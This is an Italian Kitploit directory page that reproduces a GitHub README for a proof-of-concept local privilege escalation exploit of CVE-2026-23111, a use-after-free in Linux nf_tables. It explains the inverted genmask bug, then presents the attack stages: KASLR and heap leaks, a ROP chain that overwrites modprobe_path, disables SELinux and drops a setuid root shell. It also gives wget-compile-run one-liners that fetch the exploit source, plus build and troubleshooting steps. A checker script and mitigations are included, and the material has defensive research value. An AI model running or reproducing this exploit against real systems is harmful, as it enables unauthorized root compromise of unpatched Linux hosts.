Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-23111 — Kernel Linux nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC | Kitploit
Strumenti/GitHubGitHub/baba01hacker666/cve-2026-23111
Escalation di PrivilegiMemory ForensicsAnalisi delle VulnerabilitàExploitReverse EngineeringPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubbaba01hacker666/cve-2026-23111

CVE-2026-23111

Kernel Linux nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC

Vedi Repository
721 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-23111 PoC

Linux Kernel nf_tables Use-After-Free (Escalatazione Locale dei Privilegi) poc di baba01hacker

Riepilogo della Vulnerabilità

  • CVE: CVE-2026-23111
  • Tipo: Use-After-Free (CWE-416)
  • CVSS: 7.8 (ALTO)
  • Componente: net/netfilter/nf_tables_api.c — nft_map_catchall_activate()
  • Causa Principale: Controllo della genmask invertito causa un leak del contatore di riferimento della catena durante l'abort della transazione

Versioni del Kernel Affette

Intervallo di VersioniRisolta In
6.19-rc1 a 6.19-rc86.19-rc9+
6.13 a 6.18.96.18.10
6.7 a 6.12.696.12.70
6.4.1 a 6.5.xEOL (nessuna fix stabile)
6.3.10 a 6.3.xEOL
6.0.x, 6.2.xEOL
6.1.36 a 6.1.1626.1.163
5.15.121 a 5.15.1995.15.200
5.10.188+, 5.4.262+, 4.19.316+Vari LTS

Dettagli della Vulnerabilità

CVE-2026-23111 è un use-after-free di nf_tables causato da un controllo inversion della maschera di generazione in nft_map_catchall_activate(). Durante il rollback di una transazione fallita, gli elementi catchall delle mappe di verdetto che erano stati disattivati da NFT_MSG_DELSET devono essere riattivati in modo che i riferimenti, come i riferimenti alle catene NFT_GOTO, vengano ripristinati. Il percorso di attivazione catchall ha invece saltato gli elementi inattivi e ha processato quelli attivi, lasciando gli elementi catchall disattivati non ripristinati.

La logica di attivazione corretta (non catchall) è:

root@kitploit:~
if (nft_set_elem_active(ext, iter->genmask))
    return 0; /* salta attivo, processa inattivo */

Il percorso catchall vulnerabile utilizzava la condizione opposta:

root@kitploit:~
if (!nft_set_elem_active(ext, genmask))
    continue; /* salta inattivo, processa attivo */

Quando una mappa di verdetto pipapo cancellata viene ripristinata, questo impedisce l'esecuzione di nft_setelem_data_activate() per l'elemento catchall inattivo. Per i dati di verdetto NFT_JUMP/NFT_GOTO, il riferimento alla catena preso da nft_data_hold() non viene quindi ripristinato. Ripetendo la sequenza abort/toggle/cancellazione si può portare chain->use a zero mentre un'altra regola contiene ancora un riferimento di verdetto valido alla catena. Un successivo DELCHAIN può quindi liberare la catena mentre è ancora raggiungibile, creando il UAF.

Flusso di Attivazione

root@kitploit:~
Crea tabella, catena base, catena vittima e mappa di verdetto pipapo con catchall NFT_GOTO -> vittima
        |
Batch 1: cancella il set pipapo, poi forza un errore di transazione
        |
Il percorso di abort chiama nft_map_catchall_activate(), ma il controllo invertito salta il catchall inattivo
        |
Il catchall rimane inattivo e il contatore di riferimento della catena vittima non viene ripristinato
        |
Batch 2: commetti una transazione benigna per alternare il cursore di generazione
        |
Batch 3: cancella con successo il set pipapo, decrementando nuovamente il riferimento della catena vittima
        |
Batch 4: cancella la catena vittima mentre il verdetto della catena base ancora la riferisce
        |
Use-after-free quando la valutazione del pacchetto o il dump delle regole segue il riferimento di verdetto dangling

La fix upstream è rimuovere la negazione in modo che nft_map_catchall_activate() corrisponda a nft_mapelem_activate(): gli elementi attivi vengono saltati, quelli inattivi vengono riattivati, e i riferimenti di verdetto/oggetto vengono ripristinati durante la gestione dell'abort.

Solo Test

root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json

Esegui PoC One-Liner

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d

v2 One-Liner di Fallback

Usa questo se il PoC full/v1 fallisce sul kernel target.

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d

Build Locale

Installa prima le dipendenze di build se il compilatore non trova gli header libmnl/libmnl.h o libnftnl:

root@kitploit:~
scripts/install-build-deps.sh
# oppure
make deps
root@kitploit:~
make          # Build exploit (solo PoC)
make v2       # Build exploit v2 (approccio FuzzingLabs — prova quando v1 fallisce)
make full     # Build exploit LPE completo
make v3       # Build v3 variante calibrata eval-path
make run-d    # Esegui PoC con output di debug
make run-v2-d # Esegui v2 con output di debug
make run-v3   # Mostra uso/aiuto v3
make run-full # Esegui LPE completo

Fasi dell'Exploit

Fase 1: Attivazione UAF ✅ FUNZIONANTE

Crea un set di mappe pipapo con un elemento catchall (goto catena vittima), quindi usa il bug della genmask invertita durante un abort di DELSET per corrompere chain->use. Dopo aver avanzato il contatore di generazione, DELCHAIN ha successo nonostante i riferimenti dangling, liberando la catena.

Fase 2: KASLR Leak ✅ FUNZIONANTE

Dopo il UAF, la memoria di chain->name viene liberata. Spargiamo strutture seq_operations (32 byte) aprendo /proc/self/stat per reclamare lo slot della slab cache liberato. Leggendo la regola di verdetto immediato della catena base tramite NFT_MSG_GETRULE si ottiene il dump del nome della catena reclamato, rivelando puntatori a funzioni del kernel. La validazione dei puntatori assicura che siano accettati solo indirizzi canonici del testo del kernel.

Fase 3: Heap Address Leak ✅ FUNZIONANTE

Riattiva il UAF con un nome di catena più lungo (140 byte → kmalloc-cg-192), poi sparge oggetti nft_rule per reclamare la memoria. I puntatori list_head trapelati rivelano indirizzi dell'heap nella regione della mappa diretta.

Fase 4: Hijack del Flusso di Controllo e ROP 🔧 Framework Completo

  • Due regole da 192 byte con dati controllati sparse per nft_expr_ops e nft_rule_blob fittizi
  • Indirizzi heap dalla Fase 3 usati per collegare puntatori blob fittizio → expr_ops fittizio
  • Spray di userdata della tabella (128 byte) per sovrascrivere blob_gen_0 della catena liberata
  • Catena ROP: commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq
  • Gadget ROP scansionati automaticamente da /proc/kcore
  • Pacchetto trigger inviato attraverso la catena base per invocare expr->ops->eval dirottato

Exploit v2 (Approccio FuzzingLabs)

L'exploit v2 (exploit_v2.c) utilizza le tecniche descritte nel writeup di FuzzingLabs e può essere usato quando il PoC v1 fallisce. Differenze chiave:

Catena di Leak v2 (lettura arbitraria init_ipc_ns)

root@kitploit:~
init_ipc_ns + 0x118  →  msg_ids.xa_head  →  msg_queue (puntatore taggato)
msg_queue + 0xc0     →  q_messages.next  →  indirizzo heap msg_msg

Ogni passo usa la struttura della catena liberata come primitiva di lettura arbitraria: userdata della tabella (128 byte) reclama il nft_chain liberato in kmalloc-cg-128, e un indirizzo kernel posto all'offset 0x40 (dove risiede chain->name) viene dereferenziato dal kernel durante i dump degli elementi di SET_B.

v3 Calibrazione Heap e Catena ROP (modprobe_path)

La fase heap di v3 è basata su offset predetti, non su una primitiva di lettura arbitraria via eval realmente binary-safe. Calibra il target prima di eseguire lo spray finale:

root@kitploit:~
grep msg_msg /proc/slabinfo
# Confronta con la densità di oggetti kmalloc-cg-2048, poi esegui con:
./exploit_v3 --msg-msg-addr 0xffff...
# oppure, quando il valore è noto rispetto alla base del kernel leakata:
./exploit_v3 --msg-msg-delta 0x...

Verifica gli offset delle strutture nftables rispetto alla build esatta del kernel:

root@kitploit:~
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)

La scansione dei gadget usa /proc/kcore; se è limitato, estrai i gadget da vmlinux offline e hardcodizza gli indirizzi relativi alla base kernel leakata. Il percorso di valutazione del pacchetto v3 usa push rdi; pop rsp perché rdi = expr; questo differisce dal percorso di validazione v2, dove rsi = expr.

root@kitploit:~
push rdi; pop rsp; pop rbp; ret           ← stack pivot (rdi = expr)
pop rdi; ret → &modprobe_path              \
pop rax; ret → "/tmp/pe\0"                 │ scrive modprobe_path
mov [rdi], rax; ret                        /
pop rdi; ret → &selinux_state             \
xor eax, eax; ret                          │ disabilita SELinux
mov [rdi], eax; ret                        /
pop rdi; ret → 10000                       \
msleep                                      │ mantiene il kernel vivo

Lo script /tmp/pe viene eseguito come root quando il kernel invoca modprobe_path dopo aver incontrato un formato binario sconosciuto. Crea una shell setuid root in /tmp/rootbash.

Quando usare v2 vs v1

  • v1 fallisce al KASLR leak: v2 usa NFT_MSG_GETELEM (percorso codice kernel diverso) invece di NFT_MSG_GETRULE
  • v1 fallisce al heap leak: v2 usa la variabile globale init_ipc_ns per camminare le strutture dati del kernel invece di spruzzare oggetti nft_rule
  • v1 fallisce all'hijack: v2 usa msg_msg-2k (buffer grande e stabile) invece di nft_rules + userdata tabella per il payload ROP
  • v1 fallisce alla privesc: v2 usa modprobe_path (funziona senza swapgs/iretq) invece di commit_creds + cambio namespace
  • Kernel con SLAB_RANDOM/hardening: la catena init_ipc_ns di v2 punta a un globale stabile, rendendo il layout dell'heap meno critico

Dettagli Tecnici

Il Bug

In nft_map_catchall_activate() (net/netfilter/nf_tables_api.c):

root@kitploit:~
list_for_each_entry(catchall, &set->catchall_list, list) {
    ext = nft_set_elem_ext(set, catchall->elem);
    if (!nft_set_elem_active(ext, genmask))  // BUG: dovrebbe essere senza '!'
        continue;
    nft_clear(ctx->net, ext);
    nft_setelem_data_activate(ctx->net, set, catchall->elem);
    break;
}

Il ! fa sì che la funzione salti gli elementi INATTIVI invece di processarli. Durante l'abort della transazione, l'elemento catchall (appena disattivato da DELSET) viene saltato, quindi nft_data_hold() non viene mai chiamata per ripristinare il contatore di riferimento della catena.

Meccanismo dell'Exploit

  1. Crea set mappa pipapo con elemento catchall → goto catena vittima
  2. Batch A: DELSET + op non valida → abort → chain->use resta a 0
  3. Batch B: Transazione valida → avanza genid
  4. Batch C: DELSET → ha successo
  5. Batch D: DELCHAIN → catena liberata (chain->use == 0, ma esiste riferimento dangling)
  6. L'elemento catchall del set ancora riferisce il nome della catena liberata → spray + lettura

File

root@kitploit:~
├── CVE-2026-23111-checker.py   Script di rilevamento vulnerabilità (--detailed, --json)
├── exploit.c                   Exploit PoC (UAF + KASLR leak + heap leak)
├── exploit_v2.c                Exploit v2 (approccio FuzzingLabs — prova quando v1 fallisce)
├── exploit_full.c              Exploit LPE completo (UAF + leaks + catena ROP)
├── exploit_full_aarch64        Binario aarch64 precompilato (statico)
├── exploit_full.b64            Binario exploit completo codificato in Base64
├── Makefile                    Configurazione build
└── README.md                   Questo file

Requisiti di Build

root@kitploit:~
apt-get install -y libmnl-dev libnftnl-dev gcc make python3

Cross-Compilazione (aarch64)

root@kitploit:~
apt-get install -y gcc-aarch64-linux-gnu
make aarch64

Build di Debug (con AddressSanitizer)

root@kitploit:~
make debug          # PoC con ASan
make debug-full     # Exploit completo con ASan

Script Checker

Lo script esegue molteplici metodi di rilevamento:

  • Corrispondenza versione: Verifica la versione del kernel contro tutti gli intervalli vulnerabili noti (inclusi kernel rc)
  • Rilevamento modulo: Verifica se il modulo kernel nf_tables è caricato
  • Configurazione kernel: Legge CONFIG_NF_TABLES da /proc/config.gz o /boot/config-*
  • Controllo simboli: Cerca nft_map_catchall_activate in /proc/kallsyms
  • Impostazioni namespace: Controlla il sysctl kernel.unprivileged_userns_clone
  • Punteggio di rischio: Combina tutti gli indicatori in un punteggio di rischio 0-6
root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed   # Leggibile con mitigazioni
python3 CVE-2026-23111-checker.py --json        # JSON leggibile da macchina

Risoluzione dei Problemi

Riferimenti

  • FuzzingLabs - Reproducing CVE-2026-23111
  • Exodus Intel Blog - Analisi Dettagliata
  • NVD Entry
  • Kernel Patch 1
  • Kernel Patch 2

Mitigazione

  1. Aggiorna il kernel alla versione patchata (6.18.10+, 6.12.70+, 6.6.124+, ecc.)
  2. Disabilita i namespace utente non privilegiati: sysctl kernel.unprivileged_userns_clone=0
  3. Blacklista il modulo nf_tables se non necessario:
    root@kitploit:~
    echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
    
Scarica lo strumento
Componentev1 (exploit.c)v2 (exploit_v2.c)
Attivazione UAFSingolo set + regola goto immediataDue set (stile FuzzingLabs) + regola lookup
Lettura KASLRNFT_MSG_GETRULE (dump regole)NFT_MSG_GETELEM (dump elementi) + fallback GETRULE
Leak heapSpray nft_rule + leak list_headCatena di lettura arbitraria init_ipc_ns
Host ROPnft_rules + userdata tabellamsg_msg-2k (messaggio da 2048 byte)
Attivazione hijackValutazione pacchetto su goto immediataValutazione pacchetto su catchall del set superstite
Escalation privilegicommit_creds + switch_task_namespacesSovrascrittura modprobe_path + disabilitazione SELinux
Percorso di ritornoswapgs; iretqmsleep() (rimane nel kernel)
ProblemaSoluzione
mnl_socket_open: No such file or directoryAssicurati che il modulo nf_tables sia caricato: modprobe nf_tables
unshare: Operation not permittedRichiede namespace utente non privilegiati. Controlla kernel.unprivileged_userns_clone=1
Batch A did NOT abortIl kernel potrebbe essere patchato o il comportamento della genmask differisce
No kernel pointer leakedPotrebbe essere attivo il KASLR hardening o SLAB_RANDOM; prova più esecuzioni
No heap pointer foundIl tasso di collisione dello spray heap è probabilistico; riprova o aumenta il numero di spray
Compilazione: nf_tables.h: No such fileInstalla gli header del kernel: apt install linux-headers-$(uname -r)
Errore di link: undefined reference to mnl_*L'ordine dei link è importante: -lnftnl -lmnl (nftnl prima di mnl)